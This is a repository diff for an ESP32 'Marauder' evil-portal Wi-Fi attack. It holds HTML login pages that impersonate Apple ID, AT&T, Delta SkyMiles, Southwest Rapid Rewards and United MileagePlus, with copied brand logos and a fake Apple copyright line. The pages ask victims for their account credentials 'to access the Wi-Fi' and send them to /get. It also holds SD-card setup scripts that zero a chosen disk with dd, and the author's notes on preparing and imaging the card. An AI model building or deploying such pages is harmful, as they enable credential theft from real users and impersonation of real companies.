margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 8%;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
#remember {
|
||||
margin-right: 5px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
#r2 {
|
||||
color: #656569;
|
||||
}
|
||||
|
||||
form h4 {
|
||||
margin-top: 1rem;
|
||||
font-weight: 300;
|
||||
}
|
||||
|
||||
::placeholder {
|
||||
font-size: 16px;
|
||||
/* font-family: Arial, sans-serif; */
|
||||
}
|
||||
|
||||
.bx {
|
||||
color: #1975d1;
|
||||
transform: rotate(45deg);
|
||||
}
|
||||
|
||||
footer {
|
||||
position: absolute;
|
||||
display: flex;
|
||||
width: 100%;
|
||||
height: 65px;
|
||||
padding: 20px;
|
||||
bottom: 0;
|
||||
margin-bottom: 0;
|
||||
background-color: #f5f5f7;
|
||||
}
|
||||
|
||||
footer p {
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
footer p:nth-child(2) {
|
||||
margin: 0 20px;
|
||||
}
|
||||
|
||||
footer p:nth-child(3) {
|
||||
padding-left: 20px;
|
||||
border-left: .5px solid #d2d2d7;
|
||||
}
|
||||
|
||||
button {
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font: inherit;
|
||||
color: inherit;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 768px) {
|
||||
form {
|
||||
width: 80%;
|
||||
}
|
||||
|
||||
#appleid,
|
||||
#password {
|
||||
min-width: 90%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<header>
|
||||
<div class="appleLogo">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="1000.000000pt" height="1000.000000pt"
|
||||
viewBox="0 0 1000.000000 1000.000000" preserveAspectRatio="xMidYMid meet">
|
||||
|
||||
<g transform="translate(0.000000,1000.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
|
||||
<path d="M6820 9745 c-332 -56 -725 -235 -1013 -461 -278 -219 -545 -588 -682
|
||||
-942 -95 -247 -146 -585 -118 -787 l6 -48 156 6 c229 9 371 44 588 147 470
|
||||
223 926 725 1121 1233 94 244 140 528 125 765 l-6 102 -51 -1 c-28 -1 -85 -7
|
||||
-126 -14z" />
|
||||
|
||||
<path d="M6635 7499 c-238 -26 -494 -92 -870 -226 -487 -174 -647 -219 -737
|
||||
-209 -81 10 -274 64 -463 131 -413 147 -510 179 -650 215 -196 50 -334 70
|
||||
-488 70 -422 0 -863 -135 -1245 -382 -531 -343 -917 -902 -1087 -1573 -83
|
||||
-327 -110 -593 -102 -1003 7 -364 41 -643 121 -997 161 -711 486 -1470 863
|
||||
-2014 559 -807 985 -1188 1410 -1262 101 -18 325 -6 453 24 123 29 316 92 522
|
||||
171 518 198 922 225 1387 91 50 -15 161 -54 248 -87 201 -77 403 -141 529
|
||||
-168 124 -27 342 -37 444 -21 179 28 370 108 540 229 350 247 887 946 1200
|
||||
1562 96 190 251 561 294 707 6 20 -5 28 -111 81 -229 114 -398 237 -594 432
|
||||
-332 330 -519 702 -585 1167 -23 162 -23 468 0 627 43 296 140 558 293 791
|
||||
158 239 394 468 661 640 l91 58 -61 80 c-277 363 -670 625 -1142 761 -306 89
|
||||
-679 131 -921 105z" />
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
</header>
|
||||
|
||||
|
||||
<div class="main">
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
<div id="sign">
|
||||
<h2>Sign in</h2>
|
||||
<h2>Use your Apple ID to access the Wi-Fi</h2>
|
||||
</div>
|
||||
<div class="input" id="inputText">
|
||||
<div>
|
||||
<input type="email" name="email" placeholder="Apple ID" id="appleid" required>
|
||||
</div>
|
||||
<div>
|
||||
<input type="password" name="password" placeholder="Password" id="password" required>
|
||||
</div>
|
||||
</div>
|
||||
<div class="logo">
|
||||
<button class="button" type="submit">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="512.000000pt" height="512.000000pt"
|
||||
viewBox="0 0 512.000000 512.000000" preserveAspectRatio="xMidYMid meet">
|
||||
|
||||
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)" fill="#000000"
|
||||
stroke="none">
|
||||
<path d="M2330 5110 c-494 -48 -950 -230 -1350 -538 -195 -150 -448 -432 -594
|
||||
-662 -63 -99 -186 -351 -230 -471 -51 -139 -103 -344 -128 -504 -31 -200 -31
|
||||
-550 0 -750 43 -273 114 -500 237 -750 132 -269 269 -460 489 -681 221 -220
|
||||
412 -357 681 -489 247 -121 469 -192 745 -237 195 -31 565 -31 760 0 276 45
|
||||
498 116 745 237 269 132 460 269 681 489 220 221 357 412 489 681 123 250 194
|
||||
477 237 750 31 200 31 550 0 750 -43 273 -114 500 -237 750 -132 269 -269 460
|
||||
-489 681 -221 220 -412 357 -681 489 -246 121 -474 193 -740 235 -147 23 -475
|
||||
34 -615 20z m430 -351 c872 -79 1622 -675 1896 -1506 350 -1060 -145 -2212
|
||||
-1156 -2691 -1096 -519 -2416 -44 -2938 1058 -397 837 -221 1841 438 2500 465
|
||||
465 1108 699 1760 639z" />
|
||||
<path d="M2735 3702 c-79 -28 -127 -93 -127 -172 1 -27 8 -61 16 -77 8 -15
|
||||
168 -181 355 -368 l341 -340 -992 -5 c-899 -5 -996 -7 -1023 -22 -64 -35 -97
|
||||
-90 -97 -158 0 -68 33 -123 97 -158 27 -15 124 -17 1023 -22 l992 -5 -341
|
||||
-340 c-187 -187 -347 -353 -355 -368 -20 -37 -20 -117 0 -155 24 -46 84 -90
|
||||
132 -98 87 -13 98 -4 622 519 266 265 496 502 512 526 40 60 46 101 25 159
|
||||
-15 40 -90 120 -504 535 -267 269 -505 502 -528 518 -43 30 -111 44 -148 31z" />
|
||||
</g>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div class="input2">
|
||||
<input type="checkbox" name="remember" id="remember"><label for="remember" id="r2">Remember me</label>
|
||||
</div>
|
||||
<h4><a href="#">Forgot Apple ID or password?</a><span><i class='bx bx-up-arrow-alt'></i></span></h4>
|
||||
<h4>Dont't have an Apple ID? <a href="#">Create yours now.</a><span><i
|
||||
class='bx bx-up-arrow-alt'></i></span></h4>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<footer>
|
||||
<p>Copyright © 2023 Apple Inc. All rights reserved.</p>
|
||||
<p>Privacy Policy</p>
|
||||
<p>Terms of Use</p>
|
||||
</footer>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,94 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #00A8E0;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: auto;
|
||||
background-color: white;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
#logo {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 300;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 16px;
|
||||
font-weight: 200;
|
||||
color: #888;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
box-sizing: border-box;
|
||||
margin-top: 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
button {
|
||||
background-color: #00A8E0;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background-color: #0081b8;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -42 1000 411">
|
||||
<path fill="#000000" d="M925 246c-2 0-4-2-4-5V109h-45c-3 0-5-2-5-5V86c0-3 2-5 5-5h120c2 0 4 2 4 5v18c0 3-2 5-4 5h-45v132c0 3-2 5-5 5h-21m-344-66-24-68-24 68h48zm52 60c1 3-1 6-4 6h-21c-3 0-5-2-6-5l-12-35h-66l-13 35c-1 3-2 5-6 5h-20c-2 0-4-3-3-6l56-155c1-2 2-4 6-4h27c3 0 5 2 6 4l56 155m160-16c13 0 22-7 29-18l-34-35c-12 7-20 14-20 28s11 25 25 25m9-121c-11 0-17 7-17 16 0 7 4 13 12 22 15-8 21-13 21-22s-5-16-16-16m91 137c3 3 1 6-2 6h-26c-4 0-6-1-8-4l-16-17a57 57 0 0 1-49 24c-30 0-54-18-54-49 0-24 13-36 32-47-9-11-13-22-13-32 0-26 17-43 44-43 28 0 45 16 45 40 0 20-15 32-31 41l23 24 13-22c2-3 4-4 7-4h20c3 0 5 2 3 6l-23 39 35 38m-205 6c2 0 4-2 4-5V109h45c3 0 5-2 5-5V86c0-3-2-5-5-5H617c-2 0-4 2-4 5v18c0 3 2 5 4 5h45v132c0 3 2 5 5 5h21z"/>
|
||||
<path fill="#00A8E0" d="M79 326a205 205 0 0 0 262-8s0-1 0 0c-16 10-63 34-135 34a257 257 0 0 1-127-26m140 10c51 0 107-14 140-41 9-7 18-17 25-31a197 197 0 0 0 12-25c-30 45-120 73-213 73-65 0-135-20-163-60 0-1 0-1 0 0 26 54 103 84 199 84m-55-90C59 246 9 197 0 163c0 12 1 26 3 36 1 4 5 12 10 18 26 26 89 63 199 63 150 0 185-49 192-66a151 151 0 0 0 6-62c-7 40-135 94-246 94M20 75c-6 12-13 32-15 43-1 4 0 6 1 10 13 26 77 69 225 69 91 0 162-22 173-63 2-7 2-15 0-26a200 200 0 0 0-14-35c2 53-147 88-222 88-82 0-150-33-150-74l2-12m321-65 2 4c0 23-70 64-182 64-81 0-97-31-97-50 0-7 3-14 9-21 0-1 0-1 0 0-11 9-21 19-29 30-4 5-7 9-7 12 0 40 100 69 194 69 100 0 144-33 144-61 0-10-4-16-14-28L342 9l-1 1m-30-23a203 203 0 0 0-212 1C90-7 84-2 84 4c0 17 41 36 113 36 71 0 126-21 126-40 0-5-4-8-12-13"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1>Sign in</h1>
|
||||
|
||||
<h2>Use your AT&T Account to gain Access to the WiFi Network</h2>
|
||||
|
||||
<form action="/get">
|
||||
|
||||
<input type="text" name="email" placeholder="Email or Phone Number" required>
|
||||
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
|
||||
<button type="submit">Sign In</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,115 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f3f3f3;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 50%;
|
||||
}
|
||||
|
||||
.title, .sub-title {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ccc;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.button {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
background-color: #003D79;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 70%;
|
||||
}
|
||||
|
||||
.input-field, .button {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118">
|
||||
<path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/>
|
||||
<path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/>
|
||||
<path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/>
|
||||
<path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1 class="title">Sign in</h1>
|
||||
|
||||
<h2 class="sub-title">Using your SkyMiles number or username and password.</h2>
|
||||
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="password" type="password" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<button class="button" type="submit">Sign In</button>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
<HTML>HTMLINDEXFILE</HTML>
|
||||
@@ -0,0 +1,110 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: #f9f9f9;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
background: #fff;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 10px #999;
|
||||
max-width: 400px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
svg {
|
||||
width: 80%;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.5rem;
|
||||
text-align: center;
|
||||
margin: 20px 0;
|
||||
}
|
||||
|
||||
.subtext {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 15px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.form-control {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ddd;
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
button {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
background: #143f85;
|
||||
color: #fff;
|
||||
font-size: 1.1rem;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media (max-width: 500px) {
|
||||
.container {
|
||||
max-width: 90%;
|
||||
}
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34">
|
||||
<path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/>
|
||||
<path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1>Sign In</h1>
|
||||
|
||||
<p class="subtext">Sign in using your Rapid Rewards number or username and password</p>
|
||||
|
||||
<form action="/get" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input type="password" name="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<button type="submit">Sign In</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,117 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f3f3f3;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 50%;
|
||||
}
|
||||
|
||||
.title, .sub-title {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ccc;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.button {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
background-color: #003D79;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 70%;
|
||||
}
|
||||
|
||||
.input-field, .button {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82">
|
||||
<switch transform="translate(-5 -6)">
|
||||
<g>
|
||||
<path fill="none" d="M0 0h490v95H0z"/>
|
||||
<path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/>
|
||||
</g>
|
||||
</switch>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1 class="title">Sign in</h1>
|
||||
|
||||
<h2 class="sub-title">Using your MileagePlus® number and password.</h2>
|
||||
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="password" type="password" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<button class="button" type="submit">Sign In</button>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
sudo mount /dev/`echo $1`1 /mnt/MARAUDLABEL
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
sudo umount /mnt/MARAUDLABEL
|
||||
@@ -0,0 +1,44 @@
|
||||
#!/bin/bash
|
||||
mountpoint=/mnt/MARAUDLABEL/
|
||||
gb_to_zero=4
|
||||
# full_wipe=True
|
||||
copy_files=True
|
||||
|
||||
echo "WILL WIPE DISK USE WITH CARE"
|
||||
|
||||
echo -e "\nListing Disks"
|
||||
lsblk
|
||||
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
|
||||
read disk
|
||||
block="/dev/${disk}"
|
||||
if [ -z $full_wipe ]; then
|
||||
echo -e "\nZeroing ${gb_to_zero}GB on Disk $block"
|
||||
sudo dd if=/dev/zero of=$block status=progress bs=1M count="${gb_to_zero}K" conv=fdatasync
|
||||
else
|
||||
echo -e "\nZeroing FULL Disk $block"
|
||||
sudo dd if=/dev/zero of=$block status=progress bs=32M conv=fdatasync
|
||||
fi
|
||||
|
||||
echo -e "\nCreating Partitions on $block"
|
||||
sudo echo ',,b;' | sudo sfdisk $block
|
||||
echo -e "\n\nEnter Disk (e.x. sda1 or sdb1)"
|
||||
lsblk
|
||||
read part
|
||||
partition="/dev/${part}"
|
||||
echo -e "\nMaking FAT32 Filesystem on $partition"
|
||||
sudo mkfs.vfat -F 32 -n MARAUDERSD $partition
|
||||
echo -e "\n$block Status:"
|
||||
sudo sfdisk -l $block
|
||||
echo -e "\nMounting $partition at $mountpoint"
|
||||
sudo mount $partition $mountpoint
|
||||
if [ ! -z $copy_files ]; then
|
||||
echo -e "\nCopying Minimal Files"
|
||||
sudo cp marauder_cyd_microsd/index.html $mountpoint
|
||||
sudo cp marauder_cyd_microsd/ap.config.txt $mountpoint
|
||||
echo -e "\nListing"
|
||||
ls -lah $mountpoint
|
||||
echo -e "\numounting $partition from $mountpoint"
|
||||
sudo umount $mountpoint
|
||||
fi
|
||||
echo -e "\n\nYou May Now Use on Marauder"
|
||||
|
||||
@@ -0,0 +1,352 @@
|
||||
maraduer exploit
|
||||
evil portal
|
||||
sd card
|
||||
patients:
|
||||
standard 32gb microsb hc I U1 Class 10, micro center
|
||||
marauder:
|
||||
wifi dev board pro, latest release as of 09222024
|
||||
CYD latest of 09222024
|
||||
fat32 investigations:
|
||||
windows:
|
||||
compare:
|
||||
partition magic
|
||||
windows default formatter
|
||||
linux: [0]
|
||||
find device: (and/or options)
|
||||
dmesg
|
||||
dmesg -w #while plugging in
|
||||
cat /proc/partitions
|
||||
sudo fdisk -l
|
||||
lsblk
|
||||
zreo out drive:
|
||||
sudo dd if=/dev/zero of=/dev/sdX status=progress bs=32M conv=fdatasync # much faster this way [2]
|
||||
create partition table/mbr:
|
||||
sudo fdisk /dev/sdX
|
||||
o # "create a new empty MBR (DOS) partition table"
|
||||
w # write
|
||||
create partitions:
|
||||
sudo fdisk /dev/sdX
|
||||
n # "new" "add a new partition"
|
||||
(select all defaults)
|
||||
t # "type" "change a partition type"
|
||||
b # "0b" "W95 FAT32"
|
||||
p # show partition info
|
||||
w # write
|
||||
create file system:
|
||||
sudo mkfs.vfat -F 32 -n MARAUDERSD /dev/sdX1
|
||||
mount: [1]
|
||||
sudo mkdir /mnt/maraudersd
|
||||
sudo mount /dev/sdX1 /mnt/maraudersd
|
||||
|
||||
|
||||
Links:
|
||||
[0] https://lobotuerto.com/notes/format-a-usb-drive-as-fat32-in-linux
|
||||
[1] https://linuxconfig.org/howto-mount-usb-drive-in-linux
|
||||
[2] https://www.man7.org/linux/man-pages/man1/dd.1.html
|
||||
[2] https://stackoverflow.com/questions/68150702/what-does-the-conv-fdatasync-do-in-dd-command-in-linux
|
||||
|
||||
notes/todo:
|
||||
get exact specs on microsd
|
||||
dd specifc amount of data from sdX
|
||||
bs (blocksize r and w) defaults to 512 (Bytes) by default but listed explicitly for clarity
|
||||
16MB:
|
||||
16MB = 16,777,216 Bytes
|
||||
16,777,216 Bytes / 512 Bytes = 32,768 blocks of 512 Bytes
|
||||
sudo dd if=/dev/sdX of=//home/kali/marauderexploitdev/imgs/first-16M-sdcard-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=32768 status=progress conv=fdatasync
|
||||
4MB:
|
||||
4MB = 4,194,304 Bytes
|
||||
4,194,304 Bytes / 512 Bytes = 8,192 Blocks of 512 Bytes
|
||||
sudo dd if=/dev/sdX of=/home/kali/marauderexploitdev/imgs/first-4M-sdcard-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=32768 status=progress conv=fdatasync
|
||||
Full command to full dump:
|
||||
